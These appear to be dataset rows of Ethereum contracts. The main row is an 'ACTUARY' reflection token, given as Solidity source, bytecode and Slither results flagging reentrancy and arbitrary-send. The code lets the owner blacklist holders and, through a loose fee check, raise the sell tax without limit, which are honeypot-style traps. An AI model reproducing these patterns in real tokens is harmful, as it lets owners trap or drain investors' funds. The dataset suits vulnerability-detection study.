0081146103de576040519150601f19603f3d011682016040523d82523d6000602084013e6103e3565b606091505b50509050806103f157600080fd5b506102d7565b6102d761071d565b60006104096106ab565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561044b5761044461028e565b9050610453565b61045361071d565b90565b61045e6106ab565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610325576104996106ab565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561051d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806108716025913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6105466106ab565b6040805173ffffffffffffffffffffffffffffffffffffffff928316815291841660208301528051918290030190a16103208161072a565b6105866106ab565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561065c576105c2846106d0565b6105cb8361072a565b80156106575760006105db61028e565b73ffffffffffffffffffffffffffffffffffffffff1683836040518083838082843760405192019450600093509091505080830381855af49150503d8060008114610642576040519150601f19603f3d011682016040523d82523d6000602084013e610647565b606091505b505090508061065557600080fd5b505b610664565b61066461071d565b50505050565b60006106746106ab565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561044b576104445b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6106d9816107ba565b60405173ffffffffffffffffffffffffffffffffffffffff8216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b61072861007961028e565b565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610373ffffffffffffffffffffffffffffffffffffffff82166107b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806108d06029913960400191505060405180910390fd5b55565b60006107c461028e565b90508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561084b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603a815260200180610896603a913960400191505060405180910390fd5b507f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe575350726f78793a206e65772061646d696e206973207468652073616d652061646d696e2e575350726f78793a20417474656d7073207570646174652070726f78792077697468207468652073616d6520696d706c656d656e746174696f6e575350726f78793a2043616e2774207365742061646d696e20746f207a65726f20616464726573732ea2646970667358221220e0ffda69dc8c6f3b8b936b6c2a8f67cd47ca98b816740bcec50e064fd1335e2064736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 7,897 |
0xfff8f5a38cdc5baeeba9262a9f7b6b78c52f676e
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ACTUARY is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ACTUARY";
string private constant _symbol = "AUY";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 3;
uint256 private _taxFeeOnBuy = 5;
uint256 private _redisFeeOnSell = 3;
uint256 private _taxFeeOnSell = 9;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 150000000 * 10**9;
uint256 public _maxWalletSize = 300000000 * 10**9;
uint256 public _swapTokensAtAmount = 100000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function initContract() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 5000000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610571578063dd62ed3e14610591578063ea1644d5146105d7578063f2fde38b146105f757600080fd5b8063a2a957bb146104ec578063a9059cbb1461050c578063bfd792841461052c578063c3c8cd801461055c57600080fd5b80638f70ccf7116100d15780638f70ccf71461046a5780638f9a55c01461048a57806395d89b41146104a057806398a5c315146104cc57600080fd5b80637d1db4a5146103f45780637f2feddc1461040a5780638203f5fe146104375780638da5cb5b1461044c57600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038a57806370a082311461039f578063715018a6146103bf57806374010ece146103d457600080fd5b8063313ce5671461030e57806349bd5a5e1461032a5780636b9990531461034a5780636d8aa8f81461036a57600080fd5b80631694505e116101b65780631694505e1461027b57806318160ddd146102b357806323b872dd146102d85780632fd689e3146102f857600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024b57600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611b2e565b610617565b005b34801561021557600080fd5b506040805180820190915260078152664143545541525960c81b60208201525b6040516102429190611bf3565b60405180910390f35b34801561025757600080fd5b5061026b610266366004611c48565b6106b6565b6040519015158152602001610242565b34801561028757600080fd5b5060135461029b906001600160a01b031681565b6040516001600160a01b039091168152602001610242565b3480156102bf57600080fd5b50678ac7230489e800005b604051908152602001610242565b3480156102e457600080fd5b5061026b6102f3366004611c74565b6106cd565b34801561030457600080fd5b506102ca60175481565b34801561031a57600080fd5b5060405160098152602001610242565b34801561033657600080fd5b5060145461029b906001600160a01b031681565b34801561035657600080fd5b50610207610365366004611cb5565b610736565b34801561037657600080fd5b50610207610385366004611ce2565b610781565b34801561039657600080fd5b506102076107c9565b3480156103ab57600080fd5b506102ca6103ba366004611cb5565b6107f6565b3480156103cb57600080fd5b50610207610818565b3480156103e057600080fd5b506102076103ef366004611cfd565b61088c565b34801561040057600080fd5b506102ca60155481565b34801561041657600080fd5b506102ca610425366004611cb5565b60116020526000908152604090205481565b34801561044357600080fd5b506102076108ce565b34801561045857600080fd5b506000546001600160a01b031661029b565b34801561047657600080fd5b50610207610485366004611ce2565b610a86565b34801561049657600080fd5b506102ca60165481565b3480156104ac57600080fd5b5060408051808201909152600381526241555960e81b6020820152610235565b3480156104d857600080fd5b506102076104e7366004611cfd565b610ae5565b3480156104f857600080fd5b50610207610507366004611d16565b610b14565b34801561051857600080fd5b5061026b610527366004611c48565b610b6e565b34801561053857600080fd5b5061026b610547366004611cb5565b60106020526000908152604090205460ff1681565b34801561056857600080fd5b50610207610b7b565b34801561057d57600080fd5b5061020761058c366004611d48565b610bb1565b34801561059d57600080fd5b506102ca6105ac366004611dcc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105e357600080fd5b506102076105f2366004611cfd565b610c52565b34801561060357600080fd5b50610207610612366004611cb5565b610c81565b6000546001600160a01b0316331461064a5760405162461bcd60e51b815260040161064190611e05565b60405180910390fd5b60005b81518110156106b25760016010600084848151811061066e5761066e611e3a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106aa81611e66565b91505061064d565b5050565b60006106c3338484610d6b565b5060015b92915050565b60006106da848484610e8f565b61072c843361072785604051806060016040528060288152602001611f80602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113cb565b610d6b565b5060019392505050565b6000546001600160a01b031633146107605760405162461bcd60e51b815260040161064190611e05565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107ab5760405162461bcd60e51b815260040161064190611e05565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107e957600080fd5b476107f381611405565b50565b6001600160a01b0381166000908152600260205260408120546106c79061143f565b6000546001600160a01b031633146108425760405162461bcd60e51b815260040161064190611e05565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b65760405162461bcd60e51b815260040161064190611e05565b6611c37937e0800081116108c957600080fd5b601555565b6000546001600160a01b031633146108f85760405162461bcd60e51b815260040161064190611e05565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561095d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109819190611e81565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f29190611e81565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a3f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a639190611e81565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610ab05760405162461bcd60e51b815260040161064190611e05565b601454600160a01b900460ff1615610ac757600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b0f5760405162461bcd60e51b815260040161064190611e05565b601755565b6000546001600160a01b03163314610b3e5760405162461bcd60e51b815260040161064190611e05565b60095482111580610b515750600b548111155b610b5a57600080fd5b600893909355600a91909155600955600b55565b60006106c3338484610e8f565b6012546001600160a01b0316336001600160a01b031614610b9b57600080fd5b6000610ba6306107f6565b90506107f3816114c3565b6000546001600160a01b03163314610bdb5760405162461bcd60e51b815260040161064190611e05565b60005b82811015610c4c578160056000868685818110610bfd57610bfd611e3a565b9050602002016020810190610c129190611cb5565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c4481611e66565b915050610bde565b50505050565b6000546001600160a01b03163314610c7c5760405162461bcd60e51b815260040161064190611e05565b601655565b6000546001600160a01b03163314610cab5760405162461bcd60e51b815260040161064190611e05565b6001600160a01b038116610d105760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610641565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dcd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610641565b6001600160a01b038216610e2e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610641565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ef35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610641565b6001600160a01b038216610f555760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610641565b60008111610fb75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610641565b6000546001600160a01b03848116911614801590610fe357506000546001600160a01b03838116911614155b156112c457601454600160a01b900460ff1661107c576000546001600160a01b0384811691161461107c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610641565b6015548111156110ce5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610641565b6001600160a01b03831660009081526010602052604090205460ff1615801561111057506001600160a01b03821660009081526010602052604090205460ff16155b6111685760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610641565b6014546001600160a01b038381169116146111ed576016548161118a846107f6565b6111949190611e9e565b106111ed5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610641565b60006111f8306107f6565b6017546015549192508210159082106112115760155491505b8080156112285750601454600160a81b900460ff16155b801561124257506014546001600160a01b03868116911614155b80156112575750601454600160b01b900460ff165b801561127c57506001600160a01b03851660009081526005602052604090205460ff16155b80156112a157506001600160a01b03841660009081526005602052604090205460ff16155b156112c1576112af826114c3565b4780156112bf576112bf47611405565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061130657506001600160a01b03831660009081526005602052604090205460ff165b8061133857506014546001600160a01b0385811691161480159061133857506014546001600160a01b03848116911614155b15611345575060006113bf565b6014546001600160a01b03858116911614801561137057506013546001600160a01b03848116911614155b1561138257600854600c55600954600d555b6014546001600160a01b0384811691161480156113ad57506013546001600160a01b03858116911614155b156113bf57600a54600c55600b54600d555b610c4c8484848461163d565b600081848411156113ef5760405162461bcd60e51b81526004016106419190611bf3565b5060006113fc8486611eb6565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106b2573d6000803e3d6000fd5b60006006548211156114a65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610641565b60006114b061166b565b90506114bc838261168e565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061150b5761150b611e3a565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611564573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115889190611e81565b8160018151811061159b5761159b611e3a565b6001600160a01b0392831660209182029290920101526013546115c19130911684610d6b565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906115fa908590600090869030904290600401611ecd565b600060405180830381600087803b15801561161457600080fd5b505af1158015611628573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061164a5761164a6116d0565b6116558484846116fe565b80610c4c57610c4c600e54600c55600f54600d55565b60008060006116786117f5565b9092509050611687828261168e565b9250505090565b60006114bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611835565b600c541580156116e05750600d54155b156116e757565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061171087611863565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061174290876118c0565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117719086611902565b6001600160a01b03891660009081526002602052604090205561179381611961565b61179d84836119ab565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117e291815260200190565b60405180910390a3505050505050505050565b6006546000908190678ac7230489e80000611810828261168e565b82101561182c57505060065492678ac7230489e8000092509050565b90939092509050565b600081836118565760405162461bcd60e51b81526004016106419190611bf3565b5060006113fc8486611f3e565b60008060008060008060008060006118808a600c54600d546119cf565b925092509250600061189061166b565b905060008060006118a38e878787611a24565b919e509c509a509598509396509194505050505091939550919395565b60006114bc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113cb565b60008061190f8385611e9e565b9050838110156114bc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610641565b600061196b61166b565b905060006119798383611a74565b306000908152600260205260409020549091506119969082611902565b30600090815260026020526040902055505050565b6006546119b890836118c0565b6006556007546119c89082611902565b6007555050565b60008080806119e960646119e38989611a74565b9061168e565b905060006119fc60646119e38a89611a74565b90506000611a1482611a0e8b866118c0565b906118c0565b9992985090965090945050505050565b6000808080611a338886611a74565b90506000611a418887611a74565b90506000611a4f8888611a74565b90506000611a6182611a0e86866118c0565b939b939a50919850919650505050505050565b600082611a83575060006106c7565b6000611a8f8385611f60565b905082611a9c8583611f3e565b146114bc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610641565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f357600080fd5b8035611b2981611b09565b919050565b60006020808385031215611b4157600080fd5b823567ffffffffffffffff80821115611b5957600080fd5b818501915085601f830112611b6d57600080fd5b813581811115611b7f57611b7f611af3565b8060051b604051601f19603f83011681018181108582111715611ba457611ba4611af3565b604052918252848201925083810185019188831115611bc257600080fd5b938501935b82851015611be757611bd885611b1e565b84529385019392850192611bc7565b98975050505050505050565b600060208083528351808285015260005b81811015611c2057858101830151858201604001528201611c04565b81811115611c32576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c5b57600080fd5b8235611c6681611b09565b946020939093013593505050565b600080600060608486031215611c8957600080fd5b8335611c9481611b09565b92506020840135611ca481611b09565b929592945050506040919091013590565b600060208284031215611cc757600080fd5b81356114bc81611b09565b80358015158114611b2957600080fd5b600060208284031215611cf457600080fd5b6114bc82611cd2565b600060208284031215611d0f57600080fd5b5035919050565b60008060008060808587031215611d2c57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d5d57600080fd5b833567ffffffffffffffff80821115611d7557600080fd5b818601915086601f830112611d8957600080fd5b813581811115611d9857600080fd5b8760208260051b8501011115611dad57600080fd5b602092830195509350611dc39186019050611cd2565b90509250925092565b60008060408385031215611ddf57600080fd5b8235611dea81611b09565b91506020830135611dfa81611b09565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e7a57611e7a611e50565b5060010190565b600060208284031215611e9357600080fd5b81516114bc81611b09565b60008219821115611eb157611eb1611e50565b500190565b600082821015611ec857611ec8611e50565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f1d5784516001600160a01b031683529383019391830191600101611ef8565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f5b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f7a57611f7a611e50565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122002bd5d9836b166f81eb1286903d0a51e85cc91afadd7fb8f772f3df16c4508d764736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,898 |
0x5ee06a297ab2b55fc5b01d6172209c03cefc4010
|
/**
*Submitted for verification at Etherscan.io on 2022-03-06
*/
// .d8888b. 888 888 8888888 888888b. d8888 8888888b. 8888888 888b 888 .d8888b. d8888 888b 888
